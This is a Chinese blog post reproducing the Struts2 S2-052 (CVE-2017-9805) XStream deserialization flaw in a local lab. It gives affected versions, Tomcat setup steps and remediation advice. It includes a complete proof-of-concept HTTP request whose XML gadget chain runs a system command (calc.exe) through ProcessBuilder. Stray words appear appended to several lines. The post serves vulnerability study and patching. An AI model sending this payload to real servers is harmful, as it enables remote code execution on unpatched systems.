【漏洞復現】S2-052 (CVE-2017-9805)

1、漏洞描述

         Struts2 的REST插件,若是帶有XStream組件,那麼在進行反序列化XML請求時,存在未對數據內容進行有效驗證的安全隱患,可能發生遠程命令執行。html

2、受影響版本

         Struts2.5 – Struts2.5.12版本java

         Struts2.3.33版本web

3、漏洞POC

POST /struts2-rest-showcase/orders/3/edit HTTP/1.1
Host: localhost:8888
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
DNT: 1
Referer: http://localhost:8888/struts2-rest-showcase/orders.xhtml
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: JSESSIONID=3B1C6366CDF4E1B8D47B5FA91B5452B8
Connection: close
Content-Type: application/xml
Content-Length: 1517
 

<map> 
<entry> 
<jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command> <string>calc.exe</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> 
</entry> 
</map>

 

4、漏洞復現

漏洞環境包

從struts2的官網下載最後受影響的版本struts-2.5.12,地址: apache

http://archive.apache.org/dist/struts/2.5.12/struts-2.5.12-apps.zipjson

注意下載struts-2.5.12-apps便可,不須要下載struts-2.5.12-all.zip。否則struts-2.5.12-all.zip中包含不少其餘的東西。 瀏覽器

Tomcat環境部署

直接使用XAMPP軟件。可一鍵部署Struts環境的部署。安全

 

注意:啓動Tomcat時可能出現錯誤打不開,發現是端口被佔用,經過查看進程,發現是因爲burpsuit默認監聽的端口也是8080,在啓動burpsuit時會打不開Tomcat,解決辦法:修改burpsuit的監聽端口。服務器

啓動以後訪問127.0.0.1:8080,出現如下頁面表示環境搭建成功。app

 

漏洞環境部署

拿到struts-2.5.12-apps以後,將其中的app目錄下的struts2-rest-showcase.war文件放到webapps目錄下,而後設置一下conf/server.xml文件便可。 webapp

 

這裏把appBase設置爲webapps目錄,而後unpackWARs設置爲true,這樣就會自動解包xxx.war,autoDeploy也設置爲true(熱部署?) 而後就能夠瀏覽器訪問了。

 

漏洞復現

以後點擊任意一個進行編輯,點擊提交post數據,使用burpsuit進行攔截抓包。將請求中的Content-Type的值改成 application/xml,而後POST的數據用PoC中的xml內容代替。

能夠看到,返回頁面顯示報錯信息,併成功彈出計算器。

 

5、解決方案

      一、升級到Apache Struts版本2.5.13

      二、最好的選擇是在不使用時刪除Struts REST插件,或僅限於服務器普通頁面和JSONs:

<constant name="struts.action.extension" value="xhtml,,json" />

      三、限制服務端擴展類型,刪除XML支持。

 

      因爲應用的可用類的默認限制,某些REST操做可能會中止工做。在這種狀況下,請調查介紹的新接口以容許每一個操做定義類限制,那些接口是:

org.apache.struts2.rest.handler.AllowedClasses

org.apache.struts2.rest.handler.AllowedClassNames

org.apache.struts2.rest.handler.XStreamPermissionProvider

 

笨鳥先飛早入林,笨人勤學早成材。
轉載請註明出處: 撰寫人:fox-yu http://www.cnblogs.com/fox-yu/
相關文章
相關標籤/搜索